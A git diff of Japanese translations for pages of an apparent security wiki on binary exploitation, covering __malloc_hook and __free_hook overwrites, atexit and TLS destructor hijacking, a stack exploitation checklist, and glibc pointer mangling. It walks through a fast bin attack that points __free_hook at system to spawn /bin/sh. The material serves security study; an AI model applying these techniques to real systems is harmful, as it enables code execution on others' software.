diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index c4215bc79..18e63095f 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,9 +4,9 @@ ## **Malloc Hook** -公式GNUサイトにあるように、変数**`__malloc_hook`**は、`malloc()`が呼び出されるたびに呼び出される**関数のアドレスを指すポインタ**であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。 +公式GNUサイトにあるように、変数**`__malloc_hook`**は、`malloc()`が呼び出されるたびに呼び出される**関数のアドレスを指すポインタ**であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。 -mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`を呼び出すことで、libcがヒープに割り当てるためにmallocを呼び出すように、あまりにも多くのバイトを割り当てることができます**。 +mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`を呼び出すことで、libcがヒープにそれらを割り当てるためにmallocを呼び出すように、非常に多くのバイトを割り当てることができます**。 One Gadgetに関する詳細は以下を参照してください: @@ -15,7 +15,7 @@ One Gadgetに関する詳細は以下を参照してください: {{#endref}} > [!WARNING] -> GLIBC >= 2.34ではフックが**無効になっている**ことに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。詳細は:[https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)を参照してください。 +> GLIBC >= 2.34ではフックが**無効になっている**ことに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。参照: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)。 ## Free Hook @@ -29,38 +29,38 @@ One Gadgetに関する詳細は以下を参照してください: ```bash gef➤ p &__free_hook ``` -[投稿](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)では、シンボルなしでfree hookのアドレスを特定する手順が説明されています。要約すると、free関数内で: +[この投稿](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)では、シンボルなしでフリーフックのアドレスを特定する手順を説明しています。要約すると、free関数内で:
gef➤ x/20i free
-0xf75dedc0 <free>: push ebx
-0xf75dedc1 <free+1>: call 0xf768f625
-0xf75dedc6 <free+6>: add ebx,0x14323a
-0xf75dedcc <free+12>: sub esp,0x8
-0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
-0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
-0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
-0xf75deddb <free+27>: test eax,eax ;<
-0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
+0xf75dedc0 : push ebx
+0xf75dedc1 : call 0xf768f625
+0xf75dedc6 : add ebx,0x14323a
+0xf75dedcc : sub esp,0x8
+0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
+0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
+0xf75dedd9 : mov eax,DWORD PTR [eax]--- ここでブレーク
+ 0xf75deddb : test eax,eax ;<
+0xf75deddd : jne 0xf75dee50
-前述のコードのブレークポイントで、$eaxにはfree hookのアドレスが格納されます。
+前述のコードのブレークポイントで、$eaxにはフリーフックのアドレスが格納されます。
-次に、**fast bin attack**が実行されます:
+次に、**ファストビン攻撃**が実行されます:
-- まず、**`__free_hook`**の位置でサイズ200のfast **chunks**を扱うことが可能であることが発見されます:
-- gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- まず、**`__free_hook`**の場所でサイズ200のファスト**チャンク**を扱うことができることが発見されます:
+- gef➤ p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
-- この位置でサイズ0x200のfast chunkを取得できれば、実行される関数ポインタを上書きすることが可能です。
-- そのために、サイズ`0xfc`の新しいchunkを作成し、そのポインタを使ってマージされた関数を2回呼び出します。こうすることで、fast bin内のサイズ`0xfc*2 = 0x1f8`の解放されたchunkへのポインタを取得します。
-- 次に、このchunkのedit関数を呼び出して、このfast binの**`fd`**アドレスを前の**`__free_hook`**関数を指すように変更します。
-- その後、サイズ`0x1f8`のchunkを作成して、fast binから前の無駄なchunkを取得し、さらにサイズ`0x1f8`のchunkを作成して**`__free_hook`**内のfast bin chunkを取得し、**`system`**関数のアドレスで上書きします。
-- 最後に、文字列`/bin/sh\x00`を含むchunkを削除関数を呼び出して解放し、**`__free_hook`**関数をトリガーし、`/bin/sh\x00`をパラメータとしてsystemを指すようにします。
+- この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能です。
+- そのために、サイズ`0xfc`の新しいチャンクを作成し、そのポインタを使ってマージされた関数を2回呼び出します。こうすることで、ファストビン内のサイズ`0xfc*2 = 0x1f8`の解放されたチャンクへのポインタを取得します。
+- 次に、このチャンクの編集関数を呼び出して、このファストビンの**`fd`**アドレスを前の**`__free_hook`**関数を指すように変更します。
+- その後、サイズ`0x1f8`のチャンクを作成して、ファストビンから前の無駄なチャンクを取得し、さらにサイズ`0x1f8`のチャンクを作成して、**`__free_hook`**内のファストビンチャンクを取得し、**`system`**関数のアドレスで上書きします。
+- 最後に、文字列`/bin/sh\x00`を含むチャンクを解放し、削除関数を呼び出すことで、**`__free_hook`**関数がトリガーされ、`/bin/sh\x00`をパラメータとしてsystemを指します。
## 参考文献
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index 0f6765a46..2a5bd721f 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -7,9 +7,9 @@
> [!CAUTION]
> 現在、これを悪用するのは非常に**奇妙です!**
-**`atexit()`**は、**他の関数がパラメータとして渡される**関数です。これらの**関数**は、**`exit()`**を実行するか、**main**の**戻り**時に**実行されます**。\
+**`atexit()`**は、**他の関数がパラメータとして渡される**関数です。これらの**関数**は、**`exit()`**または**main**の**戻り**を実行する際に**実行されます**。\
もしこれらの**関数**の**アドレス**をシェルコードなどを指すように**変更**できれば、**プロセス**を**制御**することができますが、現在はこれがより複雑です。\
-現在、実行される**関数へのアドレス**は、いくつかの構造の背後に**隠されており**、最終的に指すアドレスは関数のアドレスではなく、**XORで暗号化され**、**ランダムキー**でオフセットされています。したがって、現在この攻撃ベクターは**少なくともx86**および**x64_86**では**あまり役に立ちません**。\
+現在、実行される**関数へのアドレス**は、いくつかの構造の背後に**隠されており**、最終的に指すアドレスは関数のアドレスではなく、**XORで暗号化され**、**ランダムキー**でオフセットされています。したがって、現在この攻撃ベクターは**x86**および**x64_86**ではあまり役に立ちません。\
**暗号化関数**は**`PTR_MANGLE`**です。**m68k、mips32、mips64、aarch64、arm、hppa**などの**他のアーキテクチャ**は、**暗号化**関数を**実装していません**。なぜなら、それは**入力として受け取ったものと同じ**を返すからです。したがって、これらのアーキテクチャはこのベクターで攻撃可能です。
この仕組みの詳細な説明は[https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)で見つけることができます。
@@ -44,16 +44,16 @@ Elf64_Xword d_val; // address of function that will be called, we put our onegad
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
-`map -> l_addr + fini_array -> d_un.d_ptr` を使用して **呼び出す関数の配列の位置を計算**することに注意してください。
+`map -> l_addr + fini_array -> d_un.d_ptr` を使用して **関数呼び出しの配列の位置を計算**することに注意してください。
**いくつかのオプション**があります:
- `map->l_addr` の値を上書きして、任意のコードを実行するための **偽の `fini_array`** を指すようにします。
-- `l_info[DT_FINI_ARRAY]` と `l_info[DT_FINI_ARRAYSZ]` のエントリ(メモリ内でほぼ連続しています)を上書きして、**偽の `Elf64_Dyn`** 構造体を指すようにします。これにより、再び **`array` が攻撃者が制御するメモリ** ゾーンを指すようになります。
-- [**この解説**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) は、`l_info[DT_FINI_ARRAY]` を `.bss` 内の制御されたメモリのアドレスで上書きし、偽の `fini_array` を含むものです。この偽の配列には、最初に実行される **[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) のアドレス** が含まれ、その後にこの **偽の配列** のアドレスと `map->l_addr` の **値** の間の **差** が含まれ、`*array` が偽の配列を指すようになります。
-- この技術の主な投稿と [**この解説**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) によると、ld.so はスタック上にバイナリ `link_map` を指すポインタを残します。任意の書き込みを使用してこれを上書きし、攻撃者が制御する偽の `fini_array` を指すようにすることが可能です。例えば、**[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)** のアドレスを含むものです。
+- `l_info[DT_FINI_ARRAY]` と `l_info[DT_FINI_ARRAYSZ]` のエントリ(メモリ内でほぼ連続しています)を上書きして、**偽の `Elf64_Dyn`** 構造体を指すようにします。これにより、再び **`array` が攻撃者が制御するメモリ** ゾーンを指すようになります。
+- [**この解説**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) は、`.bss` 内の制御されたメモリのアドレスで `l_info[DT_FINI_ARRAY]` を上書きし、偽の `fini_array` を含んでいます。この偽の配列には **最初に** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **のアドレス** が含まれており、実行され、その後 **この偽の配列のアドレスと `map->l_addr` の値の間の** **差** が含まれ、`*array` が偽の配列を指すようになります。
+- この技術の主な投稿と [**この解説**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) によれば、ld.so はスタック上にバイナリ `link_map` を指すポインタを残します。任意の書き込みを使用してこれを上書きし、攻撃者が制御する偽の `fini_array` を指すようにすることが可能です。例えば、[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) のアドレスを含めることができます。
-前のコードに続いて、次のコードを含む別の興味深いセクションがあります:
+前のコードに続いて、興味深いセクションにコードがあります:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
@@ -65,7 +65,7 @@ DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
## TLS-Storage dtor_list の上書き in **`__run_exit_handlers`**
-[**こちらに説明があります**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)が、プログラムが `return` または `exit()` を介して終了すると、登録されたデストラクタ関数を呼び出す **`__run_exit_handlers()`** が実行されます。
+[**こちらで説明されているように**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)、プログラムが `return` または `exit()` を介して終了すると、登録されたデストラクタ関数を呼び出す **`__run_exit_handlers()`** が実行されます。
`_run_exit_handlers()` のコード:
```c
@@ -113,10 +113,10 @@ func (cur->obj);
}
}
```
-各登録された関数は **`tls_dtor_list`** において、**`cur->func`** からポインタをデマンガリングし、引数 **`cur->obj`** で呼び出されます。
+各登録された関数は **`tls_dtor_list`** において、**`cur->func`** からポインタをデマングルし、引数 **`cur->obj`** で呼び出されます。
この [**GEFのフォーク**](https://github.com/bata24/gef) の **`tls`** 関数を使用すると、実際に **`dtor_list`** が **スタックカナリア** と **PTR_MANGLEクッキー** に非常に **近い** ことがわかります。したがって、これに対するオーバーフローがあれば、**クッキー** と **スタックカナリア** を **上書き** することが可能です。\
-PTR_MANGLEクッキーを上書きすることで、**`PTR_DEMANLE` 関数をバイパス** することが可能になり、0x00に設定することで、**実際のアドレスを取得するために使用される `xor`** は設定されたアドレスになります。次に、**`dtor_list`** に書き込むことで、関数の **アドレス** とその **引数** を持つ **複数の関数をチェーン** することが可能です。
+PTR_MANGLEクッキーを上書きすることで、**`PTR_DEMANLE` 関数をバイパス** することが可能になり、0x00に設定することで、**実際のアドレスを取得するために使用される `xor`** は設定されたアドレスだけになります。次に、**`dtor_list`** に書き込むことで、関数の **アドレス** とその **引数** を持つ **複数の関数をチェーン** することが可能です。
最後に、保存されたポインタはクッキーと **xored** されるだけでなく、17ビット回転されることに注意してください:
```armasm
@@ -126,11 +126,11 @@ PTR_MANGLEクッキーを上書きすることで、**`PTR_DEMANLE` 関数をバ
```
新しいアドレスを追加する前に、これを考慮する必要があります。
-[**元の投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) から例を見つけてください。
+[**元の投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)から例を見つけてください。
-## **`__run_exit_handlers`** における他の混乱したポインタ
+## **`__run_exit_handlers`**の他の混乱したポインタ
-この技術は [**ここで説明されています**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) であり、プログラムが **`return` または `exit()`** を呼び出して終了することに再び依存しているため、**`__run_exit_handlers()`** が呼び出されます。
+この技術は[**ここで説明されています**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)が、プログラムが**`return`または`exit()`を呼び出して終了する**ことに再び依存しているため、**`__run_exit_handlers()`**が呼び出されます。
この関数のコードをさらに確認してみましょう:
```c
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 418935316..88bf17e1f 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -27,7 +27,7 @@ tools/
- [**スタックオーバーフロー**](../stack-overflow/index.html)によってスタックからリターンポインタを上書きするか、EBP -> ESP -> EIPを操作します。
- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。
- または**任意の書き込み + 実行への書き込み**を介して。
-- [**フォーマット文字列**](../format-strings/index.html)**:** `printf`を悪用して任意のコンテンツを任意のアドレスに書き込みます。
+- [**フォーマット文字列**](../format-strings/index.html)**:** `printf`を悪用して任意の内容を任意のアドレスに書き込みます。
- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを取得します。
- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。
- **bofからWWWへのROP**: バッファオーバーフローを悪用してROPを構築し、WWWを取得できるようにします。
@@ -55,12 +55,12 @@ tools/
- **PIE**がない**通常のbofでは**、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があるbofでは、それを回避する必要があります。
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)があるbofでは、それを回避する必要があります。
-- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、次のようにできます:
-- すべてのパラメータを準備するのに十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーンを使用します**。
+- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、以下を使用できます:
+- すべてのパラメータを準備するための十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーン**。
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御します。
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
- [**Write What Where**](../arbitrary-write-2-exec/index.html)を介して、他の脆弱性(bofではない)を悪用して**`win`**関数を呼び出すことができます。
-- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
+- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味深い関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
@@ -70,9 +70,9 @@ tools/
- [**(スタック)シェルコード**](#stack-shellcode): これは、リターンポインタを上書きする前または後にスタックにシェルコードを格納し、次に**それにジャンプして**実行するのに役立ちます:
- **いかなる場合でも、** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**がある場合、通常のbofではそれを回避する必要があります(リーク)**。
-- **ASLR**がない場合、**nx**がない場合、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。
+- **ASLR**がない場合、**および** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)が無効な場合、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。
- **ASLR**がある場合、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。
-- **nx**がある場合、いくつかの[**ROP**](../rop-return-oriented-programing/index.html)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、そこにシェルコードを格納し(例えばreadを呼び出す)、その後そこにジャンプする必要があります。
+- **nx**がある場合、いくつかの[**ROP**](../rop-return-oriented-programing/index.html)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、**そこにシェルコードを格納する**(例えばreadを呼び出す)必要があります。そして、そこにジャンプします。
- これはシェルコードとROPチェーンを混合します。
#### システムコールを介して
@@ -84,27 +84,27 @@ tools/
#### libcを介して
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**のようなライブラリから関数を呼び出すのに役立ちます(通常は**`system`**)いくつかの準備された引数(例:`'/bin/sh'`)で。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**(通常はlibc)。
-- **静的にコンパイルされていて、** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
-- **ASLR**がない場合、**libcのバージョン**を知っている場合、`system`と`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**のライブラリから関数(通常は**`system`**)を呼び出すのに役立ちます。準備された引数(例:`'/bin/sh'`)を使用します。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**(通常はlibc)。
+- **静的にコンパイルされていて、** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、`system`および`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
+- **ASLR**がない場合、**およびロードされたlibcのバージョンを知っている場合、`system`および`/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がない場合、libcを知っていて、バイナリが`system`**関数を使用している場合、**GOT内のsystemのアドレスに**`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です(これを見つける必要があります)。
- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html)があり、[PIE](../common-binary-protections-and-bypasses/pie/index.html)がないが、libcを知っていて**バイナリが`system`**を使用していない場合:
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)を使用して`system`のアドレスを解決し、呼び出します。
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)を回避し、メモリ内の`system`と`'/bin/sh'`のアドレスを計算します。
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)と[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があり、libcを知らない場合:次のことを行う必要があります:
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)を回避し、メモリ内の`system`および`'/bin/sh'`のアドレスを計算します。
+- **ASLR**があり、[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があり、libcを知らない場合:次のことを行う必要があります:
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)を回避します。
- 使用されている**`libc`バージョン**を見つけます(いくつかの関数アドレスをリークします)。
-- 続行するために**ASLR**を使用した以前のシナリオを確認します。
+- 続行するために**ASLRを使用した以前のシナリオを確認します**。
#### EBP/RBPを介して
-- [**スタックピボット / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを介してESPを制御してRETを制御します。
+- [**スタックピボット/EBP2Ret/EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを介してESPを制御してRETを制御します。
- **オフバイワン**スタックオーバーフローに役立ちます。
-- メモリ内にペイロードを構築し、その後EBPを介してそれにジャンプする際にEIPを制御するための代替手段として役立ちます。
+- ペイロードをメモリに構築し、次にEBPを介してそれにジャンプする際にEIPを制御するための代替手段として役立ちます。
#### その他
-- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
+- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味深い関数(systemまたはprintf)で使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index 9dc5d3b85..528d4908e 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -12,7 +12,7 @@
- **\_\_malloc_hookに対するファストビン攻撃**
-Mallocの新しいアライメントルールは、`__malloc_hook`に関する古典的な攻撃も阻止します。以前は、攻撃者はチャンクサイズを操作して**この関数ポインタを上書きし、**コード実行**を得ることができました。現在、厳格なアライメント要件により、そのような操作はもはや実行可能ではなくなり、一般的な悪用経路が閉じられ、全体的なセキュリティが向上します。
+Mallocの新しいアライメントルールは、`__malloc_hook`に関する古典的な攻撃も阻止します。以前は、攻撃者はチャンクサイズを操作して**この関数ポインタを上書きし、**コード実行**を得ることができました。現在、厳格なアライメント要件により、そのような操作はもはや実行可能ではなく、一般的な悪用経路が閉じられ、全体的なセキュリティが向上します。
## ファストビンとtcacheにおけるポインタのマングリング
@@ -25,56 +25,56 @@ Mallocの新しいアライメントルールは、`__malloc_hook`に関する
- **L**はポインタの**ストレージ位置**です。
- **P**は実際の**ファストビン/tcache Fdポインタ**です。
-ストレージ位置(L)を右に12ビットシフトする理由は重要です。この操作は、メモリアドレスの最下位12ビットの決定論的な性質に内在する脆弱性に対処します。これらのビットは、システムアーキテクチャの制約により通常予測可能です。ビットをシフトすることで、予測可能な部分が方程式から外れ、新しいマングルされたポインタのランダム性が向上し、これらのビットの予測可能性に依存する悪用から保護されます。
+ストレージ位置(L)を12ビット右にシフトしてからXOR操作を行う理由は重要です。この操作は、メモリアドレスの最下位12ビットの決定論的な性質に内在する脆弱性に対処します。これらのビットは、システムアーキテクチャの制約により通常予測可能です。ビットをシフトすることで、予測可能な部分が方程式から外れ、新しいマングルされたポインタのランダム性が向上し、これらのビットの予測可能性に依存する悪用から保護されます。
-このマングルされたポインタは、プログラムが使用するアドレスをランダム化する**アドレス空間配置ランダム化(ASLR)**によって提供される既存のランダム性を活用します。
+このマングルされたポインタは、プログラムが使用するアドレスをランダム化する**アドレス空間配置のランダム化(ASLR)**によって提供される既存のランダム性を活用します。
-ポインタを元のアドレスに戻すための**デマングリング**は、同じXOR操作を使用します。ここでは、マングルされたポインタが公式のPとして扱われ、変更されていないストレージ位置(L)とXORされると、元のポインタが明らかになります。このマングリングとデマングリングの対称性により、システムは大きなオーバーヘッドなしにポインタを効率的にエンコードおよびデコードでき、メモリポインタを操作する攻撃に対するセキュリティが大幅に向上します。
+ポインタを元のアドレスに戻す**デマングリング**は、同じXOR操作を使用して行います。ここでは、マングルされたポインタが公式のPとして扱われ、変更されていないストレージ位置(L)とXORされると、元のポインタが明らかになります。このマングリングとデマングリングの対称性により、システムは大きなオーバーヘッドなしにポインタを効率的にエンコードおよびデコードでき、メモリポインタを操作する攻撃に対するセキュリティが大幅に向上します。
### セキュリティの利点
-ポインタのマングリングは、ヒープ管理における**部分的および完全なポインタの上書きを防ぐ**ことを目的としており、セキュリティの大幅な向上です。この機能は、いくつかの方法で悪用技術に影響を与えます:
+ポインタのマングリングは、ヒープ管理における**部分的および完全なポインタの上書きを防ぐ**ことを目的としており、セキュリティの大幅な向上です。この機能は、悪用技術にいくつかの方法で影響を与えます:
-1. **バイト相対的上書きの防止**:以前は、攻撃者はポインタの一部を変更して**ヒープチャンクを異なる位置にリダイレクトすることができました**が、ポインタのマングリングにより、そのような相対的上書きは**ヒープリークなしではブルートフォースを必要とし**、成功の可能性が大幅に減少します。
-2. **tcacheビン/ファストビン攻撃の難易度の増加**:ファストビンまたはtcacheエントリを操作して関数ポインタ(`__malloc_hook`など)を上書きする一般的な攻撃が妨げられます。たとえば、攻撃はLibCアドレスを漏洩させ、チャンクをtcacheビンに解放し、Fdポインタを上書きして`__malloc_hook`にリダイレクトして任意のコード実行を行うことが含まれるかもしれません。ポインタのマングリングにより、これらのポインタは正しくマングルされる必要があり、**正確な操作にはヒープリークが必要**となり、悪用の障壁が高まります。
-3. **非ヒープ位置でのヒープリークの必要性**:スタック、.bssセクション、PLT/GOTなどの非ヒープ領域に偽のチャンクを作成することも、ポインタのマングリングの必要性から**ヒープリークを必要とします**。これは、LibCアドレスを操作するための要件と同様に、これらの領域を悪用する複雑さを拡張します。
-4. **ヒープアドレスの漏洩がより困難になる**:ポインタのマングリングは、ファストビンおよびtcacheビンにおけるFdポインタの有用性を制限しますが、未ソート、小、大のビンのポインタはマングルされていないため、アドレスを漏洩させるために引き続き使用可能です。このシフトにより、攻撃者は悪用可能な情報を探すためにこれらのビンを探索する必要がありますが、一部の技術では、制約があるものの、リークの前にポインタをデマングルすることができるかもしれません。
+1. **バイト相対的上書きの防止**: 以前は、攻撃者はポインタの一部を変更して**ヒープチャンクを異なる位置にリダイレクトすることができました**が、ポインタのマングリングにより、そのような相対的上書きは**ヒープの漏洩なしではブルートフォースを必要とし**、成功の可能性が大幅に減少します。
+2. **tcacheビン/ファストビン攻撃の難易度の増加**: 関数ポインタ(`__malloc_hook`など)を上書きする一般的な攻撃は、ファストビンまたはtcacheエントリを操作することによって妨げられます。たとえば、攻撃はLibCアドレスを漏洩させ、チャンクをtcacheビンに解放し、Fdポインタを上書きして`__malloc_hook`にリダイレクトし、任意のコード実行を行うことが含まれるかもしれません。ポインタのマングリングにより、これらのポインタは正しくマングルされる必要があり、**正確な操作にはヒープの漏洩が必要**であり、悪用の障壁が高まります。
+3. **非ヒープ位置でのヒープの漏洩の必要性**: スタック、.bssセクション、またはPLT/GOTのような非ヒープ領域に偽のチャンクを作成することは、ポインタのマングリングの必要性から**ヒープの漏洩を必要とします**。これは、LibCアドレスを操作するための要件と同様に、これらの領域を悪用する複雑さを拡張します。
+4. **ヒープアドレスの漏洩がより困難になる**: ポインタのマングリングは、ファストビンおよびtcacheビンにおけるFdポインタの有用性を制限し、ヒープアドレスの漏洩源としての役割を果たします。ただし、未ソート、小、大のビンのポインタはマングルされていないため、アドレスの漏洩に使用可能です。この変化により、攻撃者は悪用可能な情報を探すためにこれらのビンを探索する必要がありますが、一部の技術では、制約があるものの、漏洩前にポインタをデマングルすることが可能です。
-### **ヒープリークを使用したポインタのデマングリング**
+### **ヒープの漏洩を伴うポインタのデマングリング**
> [!CAUTION]
> プロセスのより良い説明については、[**こちらの元の投稿を確認してください**](https://maxwelldulin.com/BlogPost?post=5445977088)。
### アルゴリズムの概要
-ポインタのマングリングとデマングリングに使用される公式は:
+ポインタのマングリングとデマングリングに使用される公式は次のとおりです:
**`New_Ptr = (L >> 12) XOR P`**
